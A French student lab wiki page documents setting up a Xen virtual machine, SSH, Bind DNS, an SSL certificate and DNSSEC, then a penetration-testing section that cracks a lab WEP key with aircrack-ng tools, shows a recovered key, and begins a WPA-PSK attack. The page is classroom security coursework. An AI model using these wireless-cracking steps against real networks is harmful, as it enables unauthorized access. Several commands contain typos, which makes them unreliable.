TP sysres IMA5 2021/2022 G8 : Différence entre versions
(Test de l'éditeur) |
(→Intrusion sur un serveur d'application web) |
||
(61 révisions intermédiaires par 2 utilisateurs non affichées) | |||
Ligne 1 : | Ligne 1 : | ||
− | + | =Création de la machine virtuelle= | |
− | ---- | + | Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr suivant le plan d'adressage suivant |
− | + | ||
+ | {| class="wikitable" | ||
+ | ! Groupe !! VLAN !! Réseau IPv4 !! Réseau IPv6 !! @IPv4 virtuelle !! IPv4/IPv6 6509E (E304) !! IPv4/IPv6 C9200 (E306) !! IPv4/IPv6 ISR4331 !!SSID !! VM | ||
+ | |- | ||
+ | | Mel / Theo || 07 || 10.7.0.0/16 || 2001:7A8:116E:60B7::0/64 || 10.07.0.250 || 10.07.0.251 || 10.07.0.252 || 10.07.0.253 || Tournesol || RinceCochon | ||
+ | |- | ||
+ | |} | ||
+ | |||
+ | Nous commencons par créer une image pour notre machine virtuelle. | ||
+ | $ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye | ||
+ | |||
+ | Nous créons ensuite deux volumes logiques pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte | ||
+ | $ lvcreate -L 5G -n RinceCochon0 storage | ||
+ | $ lvcreate -L 5G -n RinceCochon1 storage | ||
+ | |||
+ | $ mkfs.ext4 /dev/storage/RinceCochon0 | ||
+ | $ mkfs.ext4 /dev/storage/RinceCochon1 | ||
+ | |||
+ | $ xl create -c /etc/xen/RinceCochon.cfg | ||
+ | |||
+ | $ /dev/xvda3 /home ext4 defaults 0 2 | ||
+ | $ /dev/xvda4 /var ext4 defaults 0 2 | ||
+ | |||
+ | Quitter la vm : ctrl + ] | ||
+ | |||
+ | Entrer dans la vm : | ||
+ | |||
+ | $ xen console RinceCochon | ||
+ | |||
+ | = Services Internet = | ||
+ | |||
+ | == Connexions par ssh== | ||
+ | dans le fichier /etc/ssh/sshd_config | ||
+ | on a configurer le port de connexion ssh à 1359 | ||
+ | et on a autoriser le login depuis root (PermitRootLogin yes) | ||
+ | |||
+ | on peut ainsi se connecter en ssh à la machine virtuelle avec la commande suivante : | ||
+ | $ ssh root@193.48.57.183 -p 1359 | ||
+ | |||
+ | == Serveur DNS == | ||
+ | sur gandi.net on à reserver le DNS tournecochon.site pour notre site | ||
+ | |||
+ | == Configuration Bind == | ||
+ | on souhaite avoir notre serveur Xen comme DNS principal | ||
+ | |||
+ | on commence pour cela par installer bind | ||
+ | apt-get install bind9 | ||
+ | |||
+ | |||
+ | on créé ensuite un fichier /etc/bind/named.comf.local et on ajoute | ||
+ | |||
+ | zone "tournecochon.site" IN { | ||
+ | type master; | ||
+ | file "/etc/bind/db.tournecochon.site"; | ||
+ | allow-transfer { 217.70.177.40; } | ||
+ | }; | ||
+ | |||
+ | où 217.70.177.40 correspond à l'adresse ip du serveur DNS secondaire | ||
+ | |||
+ | type master précise que tournecochon.site est le DNS principal | ||
+ | |||
+ | |||
+ | Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183 | ||
+ | |||
+ | == Certificat ssl == | ||
+ | |||
+ | On génère une clé publique et privé dans le dossier /etc/ssl/ | ||
+ | |||
+ | $ openssl req -nodes -newkey rsa:2048 -sha256 -keyout tournecochon.site.key -out tournecochon.site.csr | ||
+ | |||
+ | Nous plaçons ensuite la clé privé dans /etc/ssl/private/ | ||
+ | |||
+ | Nous faisons une demande de signature de certificat sur gandi.net | ||
+ | |||
+ | On place le certificats signé et le certificat intermédiaire généré par gandi dans /etc/ssl/certs/ | ||
+ | |||
+ | == Sécurisation de site web par certificat == | ||
+ | |||
+ | Activation du module SSL | ||
+ | |||
+ | a2enmod ssl | ||
+ | |||
+ | Configuration du port 443 | ||
+ | |||
+ | Définition du serveur virtuel | ||
+ | |||
+ | Création du répertoire /var/www/tournecochon.site/ | ||
+ | |||
+ | |||
+ | Sur le modèle du fichier /etc/apache2/000-default.conf nous avons créé le fichier de configuration /etc/apache2/sites-available/000-tournecochon.site-ssl.conf contenant : | ||
+ | |||
+ | |||
+ | <VirtualHost 193.48.57.183:443> | ||
+ | ServerName tournecochon.site | ||
+ | ServerAlias www.tournecochon.site | ||
+ | DocumentRoot /var/www/tournecochon.site | ||
+ | CustomLog /var/log/apache2/secure_access.log combined | ||
+ | |||
+ | SSSLEngine on | ||
+ | SSLCertificateFile /etc/ssl/certs/tournecochon.site.crt | ||
+ | SSSLCertificateKeyFile /etc/ssl/private/tournecochon.site.key | ||
+ | SSLVerifyClient None | ||
+ | </VirtualHost> | ||
+ | |||
+ | Activation du site : | ||
+ | |||
+ | a2ensite 000-tournecochon.site-ssl | ||
+ | |||
+ | Un accès au site en utilisant firefox nous permet de vérifier la présence du certificat. | ||
+ | |||
+ | == Sécurisation de serveur DNS par DNSSEC == | ||
+ | |||
+ | Activation dnssec | ||
+ | |||
+ | Dans /etc/bind/named.conf.options : | ||
+ | |||
+ | dnssec-enable yes; | ||
+ | |||
+ | Génération de la clé asymétrique de signature de clés de zone (KSK) : | ||
+ | |||
+ | dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE tournecochon.site | ||
+ | |||
+ | Génération de la clé asymétrique de la zone pour signer les enregistrements (ZSK) : | ||
+ | |||
+ | dnssec-keygen -a RSASHA1 -b 1024 -n ZONE tournecochon.site | ||
+ | |||
+ | On les renommes : | ||
+ | |||
+ | tournecochon.site-ksk.key | ||
+ | tournecochon.site-ksk.private | ||
+ | tournecochon.site-zsk.key | ||
+ | tournecochon.site-zsk.private | ||
+ | |||
+ | On inclue les clés dans à la suite de /etc/bind/db.tournecochon.site et on incrémente la valeure de Serial : | ||
+ | |||
+ | $include /etc/bind/tournecochon.site.dnssec/tournecochon.site-ksk.key | ||
+ | $include /etc/bind/tournecochon.site.dnssec/tournecochon.site-zsk.key | ||
+ | |||
+ | On signe les enregistrements de la zone | ||
+ | |||
+ | dnssec-signzone -o tournecochon.site -k tournecochon.site-ksk ../db.tournecochon.site tournecochon.site-zsk | ||
+ | |||
+ | On modifie le fichier /etc/bind/named.conf.local pour utiliser le fichier de zone signé : | ||
+ | |||
+ | zone "tournecochon.site" IN | ||
+ | { | ||
+ | type master; | ||
+ | file "etc/bind/db.tournecochon.site.signed"; | ||
+ | allow-transfer { 217.70.177.40; } | ||
+ | }; | ||
+ | |||
+ | On enregistre la clé ksk sur la plateforme Gandi.net dans l'onglet DNSSEC. | ||
+ | |||
+ | Pour vérifier le fonctionnement du DNSSEC on exécute dans /etc/bind/ : | ||
+ | |||
+ | dnssec-verify -o tournecochon.site db.tournecochon.site.signed | ||
+ | |||
+ | Le résultat est satisfaisant : | ||
+ | |||
+ | Loading zone 'tournecochon.site' from file 'db.tournecochon.site.signed' | ||
+ | |||
+ | Verifying the zone using the following algorithms: | ||
+ | - RSASHA1 | ||
+ | Zone fully signed: | ||
+ | Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked | ||
+ | ZSKs: 1 active, 0 stand-by, 0 revoked | ||
+ | |||
+ | = Package installé = | ||
+ | |||
+ | $ apt-get install ssh | ||
+ | $ apt-get install apache2 | ||
+ | $ apt-get install bind9 | ||
+ | =Tests d'intrusion= | ||
+ | |||
+ | Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'un eeePC (truite) et d'un clé wifi. | ||
+ | |||
+ | ==Cassage de clef WEP d’un point d’accès Wifi== | ||
+ | |||
+ | On récupère le nom de l'interface de la clé | ||
+ | |||
+ | $ airmon-ng | ||
+ | |||
+ | On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: cracotte08. | ||
+ | |||
+ | On démarre l'interface en mode moniteur sur le channel 4 | ||
+ | |||
+ | $ airmoon-ng start wlx40a5ef0f679b 4 | ||
+ | |||
+ | On effectue les tests d'injection sur la clé WEP | ||
+ | |||
+ | $ aireplay-ng -9 -e cracotte08 -a 04:DA:DC:9C:50:58 wlx40a5ef0f679b | ||
+ | |||
+ | Association interface réseau avec le point d'accès cracotte08 (false authentification) | ||
+ | |||
+ | $ aireplay-ng -1 0 -e cracotte08 -a 04:DA:DC:9C:50:58 -h 40:A5:EF:01:3A:78 wlx40a5ef0f679b | ||
+ | |||
+ | La clé peut ensuite être décpté à l'aide des fichier output*.cap créé | ||
+ | |||
+ | $ aircrack_ng _b 04:DA:D2:9C:50:57 output*.cap | ||
+ | |||
+ | KEY FOUND! [ 55:55:55:55:5A:BC:09:CB:A4:44:44:44:44 ] | ||
+ | Decrypted correctly: 100% | ||
+ | |||
+ | ==Cassage de mot de passe WPA-PSK par force brute== | ||
+ | |||
+ | On récupère le nom de l'interface de la clé | ||
+ | |||
+ | $ airmon-ng | ||
+ | |||
+ | On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: kracotte08. | ||
+ | |||
+ | SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07 | ||
+ | |||
+ | |||
+ | ==Intrusion sur un serveur d'application web== | ||
+ | [[Fichier:intrusion_honey.zip]] | ||
+ | (mot de passe habituel) | ||
+ | |||
+ | = ASR = |
Version actuelle datée du 13 janvier 2022 à 19:26
Sommaire
Création de la machine virtuelle
Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr suivant le plan d'adressage suivant
Groupe | VLAN | Réseau IPv4 | Réseau IPv6 | @IPv4 virtuelle | IPv4/IPv6 6509E (E304) | IPv4/IPv6 C9200 (E306) | IPv4/IPv6 ISR4331 | SSID | VM |
---|---|---|---|---|---|---|---|---|---|
Mel / Theo | 07 | 10.7.0.0/16 | 2001:7A8:116E:60B7::0/64 | 10.07.0.250 | 10.07.0.251 | 10.07.0.252 | 10.07.0.253 | Tournesol | RinceCochon |
Nous commencons par créer une image pour notre machine virtuelle.
$ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye
Nous créons ensuite deux volumes logiques pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte
$ lvcreate -L 5G -n RinceCochon0 storage $ lvcreate -L 5G -n RinceCochon1 storage
$ mkfs.ext4 /dev/storage/RinceCochon0 $ mkfs.ext4 /dev/storage/RinceCochon1
$ xl create -c /etc/xen/RinceCochon.cfg
$ /dev/xvda3 /home ext4 defaults 0 2 $ /dev/xvda4 /var ext4 defaults 0 2
Quitter la vm : ctrl + ]
Entrer dans la vm :
$ xen console RinceCochon
Services Internet
Connexions par ssh
dans le fichier /etc/ssh/sshd_config on a configurer le port de connexion ssh à 1359 et on a autoriser le login depuis root (PermitRootLogin yes)
on peut ainsi se connecter en ssh à la machine virtuelle avec la commande suivante :
$ ssh root@193.48.57.183 -p 1359
Serveur DNS
sur gandi.net on à reserver le DNS tournecochon.site pour notre site
Configuration Bind
on souhaite avoir notre serveur Xen comme DNS principal
on commence pour cela par installer bind
apt-get install bind9
on créé ensuite un fichier /etc/bind/named.comf.local et on ajoute
zone "tournecochon.site" IN { type master; file "/etc/bind/db.tournecochon.site"; allow-transfer { 217.70.177.40; } };
où 217.70.177.40 correspond à l'adresse ip du serveur DNS secondaire
type master précise que tournecochon.site est le DNS principal
Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183
Certificat ssl
On génère une clé publique et privé dans le dossier /etc/ssl/
$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout tournecochon.site.key -out tournecochon.site.csr
Nous plaçons ensuite la clé privé dans /etc/ssl/private/
Nous faisons une demande de signature de certificat sur gandi.net
On place le certificats signé et le certificat intermédiaire généré par gandi dans /etc/ssl/certs/
Sécurisation de site web par certificat
Activation du module SSL
a2enmod ssl
Configuration du port 443
Définition du serveur virtuel
Création du répertoire /var/www/tournecochon.site/
Sur le modèle du fichier /etc/apache2/000-default.conf nous avons créé le fichier de configuration /etc/apache2/sites-available/000-tournecochon.site-ssl.conf contenant :
<VirtualHost 193.48.57.183:443> ServerName tournecochon.site ServerAlias www.tournecochon.site DocumentRoot /var/www/tournecochon.site CustomLog /var/log/apache2/secure_access.log combined SSSLEngine on SSLCertificateFile /etc/ssl/certs/tournecochon.site.crt SSSLCertificateKeyFile /etc/ssl/private/tournecochon.site.key SSLVerifyClient None </VirtualHost>
Activation du site :
a2ensite 000-tournecochon.site-ssl
Un accès au site en utilisant firefox nous permet de vérifier la présence du certificat.
Sécurisation de serveur DNS par DNSSEC
Activation dnssec
Dans /etc/bind/named.conf.options :
dnssec-enable yes;
Génération de la clé asymétrique de signature de clés de zone (KSK) :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE tournecochon.site
Génération de la clé asymétrique de la zone pour signer les enregistrements (ZSK) :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE tournecochon.site
On les renommes :
tournecochon.site-ksk.key tournecochon.site-ksk.private tournecochon.site-zsk.key tournecochon.site-zsk.private
On inclue les clés dans à la suite de /etc/bind/db.tournecochon.site et on incrémente la valeure de Serial :
$include /etc/bind/tournecochon.site.dnssec/tournecochon.site-ksk.key $include /etc/bind/tournecochon.site.dnssec/tournecochon.site-zsk.key
On signe les enregistrements de la zone
dnssec-signzone -o tournecochon.site -k tournecochon.site-ksk ../db.tournecochon.site tournecochon.site-zsk
On modifie le fichier /etc/bind/named.conf.local pour utiliser le fichier de zone signé :
zone "tournecochon.site" IN { type master; file "etc/bind/db.tournecochon.site.signed"; allow-transfer { 217.70.177.40; } };
On enregistre la clé ksk sur la plateforme Gandi.net dans l'onglet DNSSEC.
Pour vérifier le fonctionnement du DNSSEC on exécute dans /etc/bind/ :
dnssec-verify -o tournecochon.site db.tournecochon.site.signed
Le résultat est satisfaisant :
Loading zone 'tournecochon.site' from file 'db.tournecochon.site.signed' Verifying the zone using the following algorithms: - RSASHA1 Zone fully signed: Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked ZSKs: 1 active, 0 stand-by, 0 revoked
Package installé
$ apt-get install ssh $ apt-get install apache2 $ apt-get install bind9
Tests d'intrusion
Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'un eeePC (truite) et d'un clé wifi.
Cassage de clef WEP d’un point d’accès Wifi
On récupère le nom de l'interface de la clé
$ airmon-ng
On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: cracotte08.
On démarre l'interface en mode moniteur sur le channel 4
$ airmoon-ng start wlx40a5ef0f679b 4
On effectue les tests d'injection sur la clé WEP
$ aireplay-ng -9 -e cracotte08 -a 04:DA:DC:9C:50:58 wlx40a5ef0f679b
Association interface réseau avec le point d'accès cracotte08 (false authentification)
$ aireplay-ng -1 0 -e cracotte08 -a 04:DA:DC:9C:50:58 -h 40:A5:EF:01:3A:78 wlx40a5ef0f679b
La clé peut ensuite être décpté à l'aide des fichier output*.cap créé
$ aircrack_ng _b 04:DA:D2:9C:50:57 output*.cap
KEY FOUND! [ 55:55:55:55:5A:BC:09:CB:A4:44:44:44:44 ] Decrypted correctly: 100%
Cassage de mot de passe WPA-PSK par force brute
On récupère le nom de l'interface de la clé
$ airmon-ng
On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: kracotte08.
SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07
Intrusion sur un serveur d'application web
Fichier:Intrusion honey.zip (mot de passe habituel)